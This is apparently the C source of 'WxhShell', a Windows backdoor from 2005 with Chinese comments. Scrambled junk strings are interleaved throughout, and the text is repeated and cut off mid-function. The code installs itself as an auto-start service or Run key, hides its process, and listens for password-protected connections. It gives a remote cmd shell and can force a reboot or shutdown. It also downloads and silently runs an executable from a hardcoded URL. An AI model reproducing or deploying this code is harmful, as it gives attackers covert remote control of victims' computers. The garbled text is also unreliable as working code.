+nQgLu static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WA&&*ae5` P<GHX~nB HANDLE hProcess; %*`yd.L0W PROCESS_BASIC_INFORMATION pbi; %V&I${z d?_LNSDo HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jtFet{ if(NULL == hInst ) return 0; {P>%l\? 0nOp'Ky\k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =gb(<`{> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [J6b5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6ISDY>p L.M|o if (!NtQueryInformationProcess) return 0; q\gvX
76a mbm|~UwD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;%tu; if(!hProcess) return 0; :\+\/HTbh ezR!ngt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NDaM;` 1=X"|`<! CloseHandle(hProcess); B{+ Ra 70&]nb6f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]\_T if(hProcess==NULL) return 0; K9+C3"*I L4,Ke HMODULE hMod; /n|`a1! char procName[255]; F9&ae*>, unsigned long cbNeeded; ={a_?l% '5n67Hl 1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (xhwl=MX) :5M7*s)e16 CloseHandle(hProcess); xHMbtY `!$I6KxT if(strstr(procName,"services")) return 1; // 以服务启动 (`&`vf xjDV1Xf* return 0; // 注册表启动 x3>PM]r(V } /2\%X`]< g~AOKHUP // 主模块 8x J]K int StartWxhshell(LPSTR lpCmdLine) +5BhC9=b { 0{GpO6! SOCKET wsl; C*I~14 BOOL val=TRUE; 3_]<H<w int port=0; bkgJz+u struct sockaddr_in door; P5*~Wi` Ydr/ T/1 if(wscfg.ws_autoins) Install(); \dz@hJl: eHjn<@ port=atoi(lpCmdLine); ~yvOR`2Gg i@C$O.m( if(port<=0) port=wscfg.ws_port; '~ {x n utvZ<zz` WSADATA data; "x*5g*k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5z>kz/uxW k'K&GF1B if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '`*{ig setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pkbx/\ door.sin_family = AF_INET; oe:@7stG door.sin_addr.s_addr = inet_addr("127.0.0.1"); @!:~gQ door.sin_port = htons(port); l`vb ByK!r~>Z1Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?(^HjRUY closesocket(wsl);
Z E*m; return 1; PmGW\E[ni } M=hH:[6 & >7VOytc if(listen(wsl,2) == INVALID_SOCKET) { wf<=rW' closesocket(wsl); rK%A=Q return 1; '$3]U5KOwK } cv b:FK Wxhshell(wsl); {5=Iu\e WSACleanup(); YYz,sR'%|} 'xUyGj: return 0; 9;^ r )-_]y|/D:r } OeuM9c{ WUM&Lq
k" // 以NT服务方式启动 %U&O
\GB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {/C
\GxH+ { W(oJ{R&m{ DWORD status = 0; wW~y?A"{2 DWORD specificError = 0xfffffff; 3+_
.I{ cGhnI& serviceStatus.dwServiceType = SERVICE_WIN32; ,{HxX0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; :[1^IH(sb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )5}=^aqd serviceStatus.dwWin32ExitCode = 0; W -Yv0n3 serviceStatus.dwServiceSpecificExitCode = 0; g{zvks~it serviceStatus.dwCheckPoint = 0; D~~&e<v'1 serviceStatus.dwWaitHint = 0; w~NQAHAvo =""z!%j hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P9)E1]Dc$ if (hServiceStatusHandle==0) return; zoV4Gl P,x'1`k~ status = GetLastError(); TX96
^EoH if (status!=NO_ERROR) ZxmMw { ;/
iBP2 serviceStatus.dwCurrentState = SERVICE_STOPPED; [4NJ]r M% serviceStatus.dwCheckPoint = 0; FYI*44E serviceStatus.dwWaitHint = 0; hE41$9?TJ serviceStatus.dwWin32ExitCode = status; :esHtkyML serviceStatus.dwServiceSpecificExitCode = specificError; d;3/Vr$t= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6q[|U_3I@ return; (c X;a/BR } k !S0-/h <n4T* serviceStatus.dwCurrentState = SERVICE_RUNNING; S`oADy serviceStatus.dwCheckPoint = 0; O\h*?, ) serviceStatus.dwWaitHint = 0; S <C'#vj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
p&SxR}h } j~(s3pSCo d%:B,bck // 处理NT服务事件,比如:启动、停止 2NHkK_B1P VOID WINAPI NTServiceHandler(DWORD fdwControl) uXX3IE[ { o5 UM)g switch(fdwControl) +>#SB"' { v=A]#O% case SERVICE_CONTROL_STOP: zI5#'<n serviceStatus.dwWin32ExitCode = 0; Zl69d4vG serviceStatus.dwCurrentState = SERVICE_STOPPED; ?MT
V!i0 serviceStatus.dwCheckPoint = 0; O,`#h*{N serviceStatus.dwWaitHint = 0; 9E/{HNkf { B?
$9M9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); w-%V9]J1 } $4^cbk return; =IQ+9Fl2 case SERVICE_CONTROL_PAUSE: q6h'=By serviceStatus.dwCurrentState = SERVICE_PAUSED; "@1e0`n
Q break; P|>
f O' case SERVICE_CONTROL_CONTINUE: Yv?nw-HM serviceStatus.dwCurrentState = SERVICE_RUNNING; !}Sf?nP# break; >wz&{9ni case SERVICE_CONTROL_INTERROGATE: G%{J.J41F break; >h^CC*&'pw }; u^DfRd&P0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); LUGyc( h } hk
=nXv2M D#ZzhHHP // 标准应用程序主函数 ;GW[Yw>Rz int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i6L>,^Dg { J<g$hk !^{0vFWE // 获取操作系统版本 D00I!D16 OsIsNt=GetOsVer(); B?BB GetModuleFileName(NULL,ExeFile,MAX_PATH); >K
}j}M% 00Tm]mMQX // 从命令行安装 >WfkWUb if(strpbrk(lpCmdLine,"iI")) Install(); OAoTsqj6 ~*OQRl6F // 下载执行文件 \J*~AT~5q if(wscfg.ws_downexe) { (twwDI if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p"A2N+
WinExec(wscfg.ws_filenam,SW_HIDE); 5K_KZL- } zX{O"w PtH>I,/ if(!OsIsNt) { f{
;L"*L // 如果时win9x,隐藏进程并且设置为注册表启动 ,$"*X-1 HideProc(); 7jss3^.wA StartWxhshell(lpCmdLine); xLxXc!{J5 } =L,s6J8_' else i2. +E&3v if(StartFromService()) %gK@R3p // 以服务方式启动 c1!0Z28 StartServiceCtrlDispatcher(DispatchTable); }I3 ZNd else 0rM'VgB // 普通方式启动 ;WydXQ}Q^ StartWxhshell(lpCmdLine); eIZ7uSl ^HJvT)e4 return 0; p:*)rE } v:2*<; DhN{Y8'~ F#0y0| m2%OX"# e =========================================== B|\pzWD% 1r!o,0!d-' )uj:k*`) C[E[|s*l 6j*L]Sc >K|<hzZ " :Ma=P\J
W D8Ntzsr6 #include <stdio.h> Ll"
Kxg #include <string.h> >XTDN #include <windows.h> ,\YlDcl':0 #include <winsock2.h> GyirE` #include <winsvc.h> MHl ffj #include <urlmon.h> U
+c?x2\ UE:';(t #pragma comment (lib, "Ws2_32.lib") |6]2X W #pragma comment (lib, "urlmon.lib") bl8zcpdL +JyD W%a:L #define MAX_USER 100 // 最大客户端连接数 OoW,mmthj> #define BUF_SOCK 200 // sock buffer ??\1eo2gB #define KEY_BUFF 255 // 输入 buffer 41-u*$ g 0Rny #define REBOOT 0 // 重启 ss{y=O%9" #define SHUTDOWN 1 // 关机 #$-zg^ *d~).z) #define DEF_PORT 5000 // 监听端口 ((& y:{?G caG5S#8-" #define REG_LEN 16 // 注册表键长度 +c7e[hz #define SVC_LEN 80 // NT服务名长度 Ly\ ` 8i
epG // 从dll定义API y\a@'LFL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t@#+vs@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5
)A(q\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XZh1/b^DMN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w^{qut. h>w(Th\H // wxhshell配置信息 )JNUfauyT struct WSCFG { Ch] `@(l int ws_port; // 监听端口 Z-md$=+}w char ws_passstr[REG_LEN]; // 口令 L1Hk[j]X| int ws_autoins; // 安装标记, 1=yes 0=no Zqo char ws_regname[REG_LEN]; // 注册表键名 o\TXWqt char ws_svcname[REG_LEN]; // 服务名 /$EX-!ie char ws_svcdisp[SVC_LEN]; // 服务显示名 L<7KmN4VX char ws_svcdesc[SVC_LEN]; // 服务描述信息 -0I]Sm;$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Rcn6puZt int ws_downexe; // 下载执行标记, 1=yes 0=no `, lnBP3D" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wBuos}/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u&M:w5EM +'-i (]@!' }; be<7Vy]j hFW{qWP // default Wxhshell configuration J!\Cs1!f struct WSCFG wscfg={DEF_PORT, g-C)y
06 "xuhuanlingzhe", f9%M:cl 1, !t;B.[U * "Wxhshell", #<$pl]>}t "Wxhshell", ES4[@RX "WxhShell Service", *#n#J[ "Wrsky Windows CmdShell Service", Z2t'?N|_ "Please Input Your Password: ", 5WlBec@ 1, vtByC u5 "http://www.wrsky.com/wxhshell.exe", &c AFKYt "Wxhshell.exe" u5'jIqlU }; @K=:f 8|cQW-L // 消息定义模块 [-5l=j
r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~ERA char *msg_ws_prompt="\n\r? for help\n\r#>"; Zra P\ ? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _c z$w5` char *msg_ws_ext="\n\rExit."; -X]?ql*%` char *msg_ws_end="\n\rQuit."; F.Sc2n@7- char *msg_ws_boot="\n\rReboot..."; .or1*-B K char *msg_ws_poff="\n\rShutdown..."; RJ+["[k char *msg_ws_down="\n\rSave to "; za,JCI Md*~hb8J char *msg_ws_err="\n\rErr!"; /bSAVSKR char *msg_ws_ok="\n\rOK!"; iBXS a_T3< char ExeFile[MAX_PATH]; J<vVsz+7: int nUser = 0; 9K:ICXm HANDLE handles[MAX_USER]; x/d(" Bb int OsIsNt; l-gNJ=l+K BJDSk#!J!{ SERVICE_STATUS serviceStatus; 7l+:gD SERVICE_STATUS_HANDLE hServiceStatusHandle; FJ+n-
\ G m~2s;/ // 函数声明 DtFzT>$^F int Install(void); h,fC-+H5 int Uninstall(void); (teK0s;t5k int DownloadFile(char *sURL, SOCKET wsh); mS9ITe
M int Boot(int flag); Z,"f2UJ void HideProc(void); i)1013b int GetOsVer(void); -V F*h.' int Wxhshell(SOCKET wsl); W#bOx0 void TalkWithClient(void *cs); N51e.; int CmdShell(SOCKET sock); +a'["Gjq; int StartFromService(void); /)J]m int StartWxhshell(LPSTR lpCmdLine); FoX,({*Ko~ AxAbU7m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fo"%4rkL VOID WINAPI NTServiceHandler( DWORD fdwControl ); -+HD5Hc )JXlPU // 数据结构和表定义
PKg>|]Rf. SERVICE_TABLE_ENTRY DispatchTable[] = PNp-/1Cx { X(npgkVP\ {wscfg.ws_svcname, NTServiceMain}, /J5)_>R: {NULL, NULL} ]kir@NMv> }; TN=!;SvQU Zsto8wuf# // 自我安装 6k6}SlN[ int Install(void) 0%
zy 6{ { 9=}&evGm89 char svExeFile[MAX_PATH]; /=@V5) HKEY key; U3^3nL-M9 strcpy(svExeFile,ExeFile); C@P*:L_ _@D"XL#L // 如果是win9x系统,修改注册表设为自启动 [Te"|K ': if(!OsIsNt) { \Gm\sy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2uzy]faM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >$:_M*5 RegCloseKey(key); nJ|M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d "%6S*dL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]j+J^g RegCloseKey(key); x>GxyVE return 0; le150;7 } d",VOhW7)S } yt{?+|tXU } .L8g(F(=: else { L#`Vr$ r!&}4lHYi // 如果是NT以上系统,安装为系统服务 uwc@~=; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [;pL15-}4 if (schSCManager!=0) I\~sE Jwj { v
8B4%1NE SC_HANDLE schService = CreateService .H}#,pQ}l ( zF@/8# schSCManager, uhvn1" wscfg.ws_svcname, o#QS: '| wscfg.ws_svcdisp, @ruWnwb SERVICE_ALL_ACCESS, y41~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A(D3wctdr SERVICE_AUTO_START, NRMEZ\*L SERVICE_ERROR_NORMAL, +GL[uxe" svExeFile, #:xv]qb`k NULL, 0gsRBy NULL, Nz%Yi?AF NULL, oR~s
\Gt NULL, ld[BiP`B2V NULL "Ky&x$dje ); Vs9]Gm if (schService!=0) <AN5>:k[pM { Sv\399( CloseServiceHandle(schService); )ml#2XP!f CloseServiceHandle(schSCManager); T_ga?G< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Q2kXwN strcat(svExeFile,wscfg.ws_svcname); "V<WC" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?>DwNz^.! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <N8z<o4rku RegCloseKey(key); K6 c[W%Va return 0; E]0Qz?
W } `4-m$ab } ]VoJ7LoCZ' CloseServiceHandle(schSCManager); l9z{pZ\KM } X}Fqif4A } p?O6|q hg-M>|s7 return 1; 'x u!t'l& } ke2}@|?t qoSZ+ khS$ // 自我卸载 FVWHiwRU, int Uninstall(void) d0 mfqP= { IweNe`Z HKEY key; vu~7Z;y(<j ot,=.%O if(!OsIsNt) { nq:'jdY5| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KT0Pmpp5 RegDeleteValue(key,wscfg.ws_regname); %(B6eiA RegCloseKey(key); ;umbld0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4ah5}9{g RegDeleteValue(key,wscfg.ws_regname); vRLWs`1j RegCloseKey(key); 5s:g(gy3BR return 0; -Yg?@yt } =kb/4eRg } ]<k+a-Tt } h*V~.H else { 4U*CfdZZ ) ):w`^6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ({mlA`d] if (schSCManager!=0) NY/-9W5T4 { NBD1k; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p7Z/%~0v: if (schService!=0) 5zPn-1uW { Q6r7UM if(DeleteService(schService)!=0) { <
49\B CloseServiceHandle(schService); M%2w[<-8c CloseServiceHandle(schSCManager); co*XW return 0; j/uzsu+ } a *qc CloseServiceHandle(schService); 87rHW@\]( } |XJ|vQGU CloseServiceHandle(schSCManager); 2XrYm"6w } zKQXmyO } c@lH [Uw3.CVh return 1; Mo] } d5'4RYfkQ !=?Q>mz // 从指定url下载文件 }tbZ[:T{K int DownloadFile(char *sURL, SOCKET wsh) |u.3Tp|3W { QG
1vP.K HRESULT hr; g2 tM!IRQ char seps[]= "/"; ;FnS=Z char *token; r#w.yg4EX char *file; 0}q*s! char myURL[MAX_PATH]; *l)}o4-$ char myFILE[MAX_PATH]; GriFb]ml" %JuT'7VB strcpy(myURL,sURL); W];l[D<S* token=strtok(myURL,seps); YXIAVSnr while(token!=NULL) -o+; e3# { ASa)xf9 file=token; [#2X token=strtok(NULL,seps); 5>>JQ2'W } s} oD?h:T3 _f@nUv*
GetCurrentDirectory(MAX_PATH,myFILE); 2Zr,@LC strcat(myFILE, "\\"); is`~C strcat(myFILE, file); \vgM`32< send(wsh,myFILE,strlen(myFILE),0); [E0.4FLT! send(wsh,"...",3,0); R0T{9,;[` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fz<GPw
if(hr==S_OK) @"n]v)[4 return 0; Svm'ds7> else !JbWxGN`jn return 1; -_irkpdC[ qP72JxT } x<=R?4@rq g5t`YcL // 系统电源模块 .}n\c%& int Boot(int flag) |9]_<X[ic { Ie/dMB=t HANDLE hToken; ;ibOd~ TOKEN_PRIVILEGES tkp; Zn6u6<O= c>BDw< if(OsIsNt) { [#;CBs5o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "ed
A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '1b4nj|<m tkp.PrivilegeCount = 1; okH*2F(- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VJgYXPE
` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?D=C8[NEX if(flag==REBOOT) { ]l6niYVB2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s/Q8(sF5 return 0; n W:Bo# } )F4BVPI else { Y,{pG]B$w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [p_<`gU? return 0; 2 @t?@,c } $J*lD-h- } 6b\JD.r*{ else { 4oN*J +"=+ if(flag==REBOOT) { RAFdo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c1Hp return 0; 2!GyQ@&[W } R,m|+[sl else { ]p8<Vluv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zG\:#,9 return 0; D/puK } ,&s%^I+CC } -(9TM*)O a6 w'.]m return 1; 9z7rv, } om8`^P/b h/..cVD,K // win9x进程隐藏模块 X;CRy, void HideProc(void) 9)D9'/{L# { tfVlIY< U P*5M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?P(U/DS8 if ( hKernel != NULL ) @# GS4I { 8Od7e` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U;LX"'} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bd)Sb? FreeLibrary(hKernel); FA1h!Vit } 9ZI^R/*Kc
#M|q}jA| return; K,dEa<p } G x{G}9 /]9(InM9/ // 获取操作系统版本 rtz ]PH int GetOsVer(void) 8@7leAq! { [H{2<! OSVERSIONINFO winfo; \Yr&vX/[p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _eUd
RL> GetVersionEx(&winfo); |J:m{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r)oR`\7 return 1; BF /4 else -V=,x3Zew return 0; r}-vOPn`E } smHQ'4x9 1Sd<cOEd // 客户端句柄模块 pI(
H7 ( int Wxhshell(SOCKET wsl) - @t L]] { ;OSEMgB1 SOCKET wsh; TbgIr struct sockaddr_in client; U+:Mu]97 DWORD myID; [E9)Da_)i JN3&(t while(nUser<MAX_USER) #Ht;5p>5 { ko6[Ej:TBo int nSize=sizeof(client); {~ 1
~V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k\A4sj if(wsh==INVALID_SOCKET) return 1; jfpbD
/ =1zRm >m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |l:,EA_v| if(handles[nUser]==0) fHXz{,?/w closesocket(wsh); U_~r0 else 8}?w%FsN# nUser++; !&pk^VFl+ } W$:D#;jz`h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p/KG{-f, ]*<!|;q return 0; ! l"*DR } 76b2 3| bpdluWS+ ) // 关闭 socket rN`-ak void CloseIt(SOCKET wsh) e5m]mzF@ { Dw.Pv)'$ closesocket(wsh); K[i&!Z&
nUser--; iJr(;Bq ExitThread(0); oo]g=C$n } BKQwF*<V 8$38>cGY^ // 客户端请求句柄 L[MAc](me- void TalkWithClient(void *cs) c"zE { F **/T P7*?E* SOCKET wsh=(SOCKET)cs; c!] yT0v&s char pwd[SVC_LEN]; 6k;>:[p char cmd[KEY_BUFF]; '%*/iH6<U{ char chr[1]; /~P4<1 int i,j; =Q4Wr0y><] f!J?n] while (nUser < MAX_USER) { CQ'4 ".7 L6J.^tpO if(wscfg.ws_passstr) { 9eEA80i7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2D4c|R@+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !}=#h8fv //ZeroMemory(pwd,KEY_BUFF); RM#.-gW i=0; +Oc |Oo while(i<SVC_LEN) { \:E=B1 OhTd>~R`< // 设置超时 GP_%.fO\M fd_set FdRead; ;9hS_%ldX4 struct timeval TimeOut; *ch7z|wo. FD_ZERO(&FdRead); G@rV9 FD_SET(wsh,&FdRead); fT5vO.a
TimeOut.tv_sec=8; .cs4AWml< TimeOut.tv_usec=0; SeBl*V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4_ kg/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o(g}eP,g} =/(R_BFna if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wSG!.Ejc7 pwd=chr[0]; J1Oe`my if(chr[0]==0xd || chr[0]==0xa) { lSBu,UQP pwd=0; y~Vl0f; break; O]G3 l0 } }ssL;q i++; F,@uYMQs } pI}6AAs}Z OK%d1M^8j // 如果是非法用户,关闭 socket vGD D if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e]D TK*W~ } ~2O1$o u m*` W&k[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '@WS7`@-y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Je=k.pO1 <UbLds{+Uo while(1) { h3MZLPe ij02J`w:Ra ZeroMemory(cmd,KEY_BUFF); (~]0)J `9Q O'^) // 自动支持客户端 telnet标准 ~Q+J1S]Fs j=0; @%I-15Jz while(j<KEY_BUFF) { j0A9;AP;;C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CMU\DO cmd[j]=chr[0]; j "e]Ui if(chr[0]==0xa || chr[0]==0xd) { JF(&+\i<p cmd[j]=0; #=czqZw break; -"d&Ow7o } -x+K#T0Z j++; d ZxrIWx } MR.c?P?0Q f#
sDG // 下载文件 Ummoph7_@ if(strstr(cmd,"http://")) { Y
>U_l:_^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); isor%R! if(DownloadFile(cmd,wsh)) +}Qq#^:_\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .r \g] else C@rIyBj1g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;bkvdn} } u9G else { c:`CL<xzU gS.,V!#t switch(cmd[0]) { ? ;$f"Wl 73kI%nNB // 帮助 5]Y?NN,GR case '?': { lnt}l send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #BhcW"@ break; ^) 5*?8# } DUvF // 安装 SAokW, case 'i': { Tr"Bz! if(Install()) EsjZ;D,c( send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~`d
;MC else ejlau#8" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~{+?v6B] break; z{A~d } AzFS6<_ // 卸载 Z1R{'@Y0Z case 'r': { aa/_:V@$~ if(Uninstall()) ,W5!=\Gg( send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;Dc#SZnO( else lBNB8c0e"{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .t$1B5 break; "T' QbK0 } [ Ru( H // 显示 wxhshell 所在路径 D[<~^R;* case 'p': { epxbTJfc char svExeFile[MAX_PATH]; bs?&;R.5 strcpy(svExeFile,"\n\r"); 2;`WI:nt strcat(svExeFile,ExeFile); DQ%(X&k send(wsh,svExeFile,strlen(svExeFile),0); 5@`dKFB5 break; $Sc; } *m:'~\[u // 重启 `W'S'?$ case 'b': { m4RiF send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KfV&7yi if(Boot(REBOOT)) =|_k a8{? send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6"a
w6 else { {{ +8oRzY closesocket(wsh); #EIcP=1m4 ExitThread(0); fU^5Dl } zI.:1(, break; =iE)vY,?"} } Gw?ueui< // 关机 -[xbGSj{ case 'd': { /gq\.+'{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); </23*n] if(Boot(SHUTDOWN)) yIqRSqM send(wsh,msg_ws_err,strlen(msg_ws_err),0); yI. hN else { Nuc2CB)J closesocket(wsh); UOkVU*{ ExitThread(0); +p0Y*. } =$WDB=i break; 7x)32f" } X oh@ (% // 获取shell $fQ'q3 case 's': { =7Sw29u< CmdShell(wsh); k;pU8y6Y closesocket(wsh); Hw%lT}[O ExitThread(0); ZBXn&Gm break; 0oo*F } ?EA&kZR] // 退出
ee#\XE=A case 'x': { T)*tCp] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q6=>*}Cm6m CloseIt(wsh); V*1-wg5> break; 15"[MX A } D<(VP{,G // 离开 JJu}Ed_ case 'q': { (zIF2qY send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]QmY`pTB` closesocket(wsh); 1owe'7\J WSACleanup(); Ct386j>< exit(1); 884 -\M"h break; ZG1 {"J/z } 2GJp`2(%dA } AqjEz+TVt } s
Vg89I& SaiYdJ // 提示信息 s^ K:cz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J9XV:)Yv# } c}D>.x|] } q.v_?X<_ ?tf<AZ=+^L return; |eH*Q%M } tz_WxOQ0 9~yp=JOV@ // shell模块句柄 a\Dw*h?b~ int CmdShell(SOCKET sock) 0m'tPFQ| { ^LAdN8Cbb STARTUPINFO si; 4/E>k <MA ZeroMemory(&si,sizeof(si)); -k}&{v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -SKcS#IF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -|`E'b81 PROCESS_INFORMATION ProcessInfo; f4&k48Ds char cmdline[]="cmd"; },vVc/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P*9L3R*=N return 0; #4ii!ev } QS2~}{v ]hlYmT // 自身启动模式 }R)A%FKi@ int StartFromService(void) 0j2M< W# { [:cZDVaA| typedef struct DWcEl: { Gkz~xQy1T DWORD ExitStatus; &z%DX
DWORD PebBaseAddress; D]WU,a[$Bc DWORD AffinityMask; q=_tjg DWORD BasePriority; xI^nA2g ULONG UniqueProcessId; z|sR
`]K ULONG InheritedFromUniqueProcessId; Fn*)!,) } PROCESS_BASIC_INFORMATION; PZSi}j/ &-4SA j PROCNTQSIP NtQueryInformationProcess; =\)qUs\z #(d/A< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #{|F2AM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c4xXsUBQk A.(xa+z? HANDLE hProcess; LJmRa PROCESS_BASIC_INFORMATION pbi; IC@-`S#F Z*lZl8(` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2 [yfo8H if(NULL == hInst ) return 0; mKhlYVn h!~u^Z.7< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &*!) d" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {ZD'l5jU NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iM{UB=C ~OOD#/ if (!NtQueryInformationProcess) return 0; v#Y9O6g]T r`!S*zK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,P$Crs[ if(!hProcess) return 0; lr&O@
